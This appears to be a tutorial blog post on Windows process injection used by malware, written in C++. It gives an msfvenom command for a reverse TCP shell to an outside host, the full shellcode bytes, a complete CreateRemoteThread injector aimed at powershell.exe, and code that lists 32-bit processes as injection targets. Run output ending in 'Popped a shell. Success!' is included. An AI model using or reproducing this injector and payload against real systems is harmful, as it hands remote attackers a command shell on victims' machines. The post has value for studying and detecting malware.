Process Injection Techniques (C++)
In this entry, we will dive into Windows process injection techniques demonstrated by malware. Malware authors deploy process injection to run malicious code under another process.
1. Payload & Compiling
Many malware authors opt for 32-bit malware, because of it’s backwards compatibility with 64-bit systems.
- 32-bit processes can run on 64-bit systems.
- 64-bit processes cannot run on 32-bit systems.
Since most malwares are 32-bit. All code below will be compiled in x86 (32-bit)
, with the command g++.exe <input.cpp> -o <output.exe> --std=c++20 -static
.
The issue with writing 32-bit malware, is that it faces difficulties working with the memory of 64-bit processes. We will understand this better later.
A simple reverse TCP shell will be used. The shellcode was generated with the following command - msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.128 LPORT=443 -f c
. I will exclude the payload code in below examples due to its obstruction.
unsigned char payload[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x80\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
2. CreateRemoteThread Injection
CreateRemoteThread is the most basic form of process injection. In essence, it performs the following calls,
OpenProcess()
to get a handle to the victim process.VirtualAllocEx()
to allocate a new memory page in the victim process.WriteProcessMemory()
to inject the shellcode into the new memory page.CreateRemoteThread()
to start the shellcode, in a new thread, in the new memory page.
2.1. Where to Inject?
The shellcode cannot be injected into any process of choice. Take this example.
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int main() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
HANDLE process_handle;
PVOID remote_buffer;
HANDLE remote_thread;
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
while (Process32Next(snapshot, &processEntry)) {
if (strcmp(processEntry.szExeFile, "powershell.exe") == 0) {
printf("Found powershell.exe\n");
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (int) processEntry.th32ProcessID);
std::cout << "HANDLE: " << process_handle << std::endl;
remote_buffer = VirtualAllocEx(process_handle, NULL, sizeof(payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
std::cout << "Remote Buffer: " << remote_buffer << std::endl;
bool written = WriteProcessMemory(process_handle, remote_buffer, payload, sizeof(payload), NULL);
std::cout << "WriteProcessMemory: " << written << std::endl;
remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE) remote_buffer, NULL, 0, NULL);
std::cout << "Remote Thread: " << remote_thread << std::endl;
CloseHandle(process_handle);
break;
}
};
CloseHandle(snapshot);
return 0;
}
Let’s run the code and dissect the output. We notice that CreateRemoteThread
fails and returns a NULL. If we inspect GetLastError
, we get 0x5 (ERROR_ACCESS_DENIED)
. But why?
C:\Users\root\Desktop
λ injector.exe
Found powershell.exe
Calc HANDLE: 0x104
Remote Buffer: 0xfe0000
WriteProcessMemory: 1
Remote Thread: 0
2.2. 32-bit or 64-bit?
The above example fails, because CreateRemoteThread
cannot be called from a 32-bit process, to start a thread in a 64-bit process. As stated earlier, this is one of the limitations of 32-bit malware.
Now, let’s launch a 32-bit powershell.exe process, and run our malware.
Successfully obtained a handle on the remote thread.
C:\Users\root\Desktop
λ injector.exe
Found powershell.exe
HANDLE: 0x118
Remote Buffer: 0x6ac0000
WriteProcessMemory: 1
Remote Thread: 0x12c
Popped a shell. Success!
2.3. Identifying 32-bit processes
As we learnt above, 32-bit processes must find other 32-bit processes to inject into.
The below code enumerates all processes in the system with CreateToolhelp32Snapshot
, then identifies those that are 32-bit.
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int main(int argc, char** argv) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
std::string filepath = argv[0];
int index = filepath.find_last_of("\\/");
std::string filename = filepath.substr(index + 1);
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
while (Process32Next(snapshot, &processEntry)) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processEntry.th32ProcessID);
BOOL isWow64 = FALSE;
IsWow64Process(hProcess, &isWow64);
if (isWow64 && (strcmp(processEntry.szExeFile, filename.c_str()) != 0)) {
std::cout << "Found 32-bit process: " << processEntry.szExeFile << std::endl;
// malicious activity
break;
}
};
}
Here’s the output. The script successfully identified the Powershell (x86) instance running.
PS C:\Users\root\Desktop\check32bit> .\check32bit.exe
Found 32-bit process: powershell.exe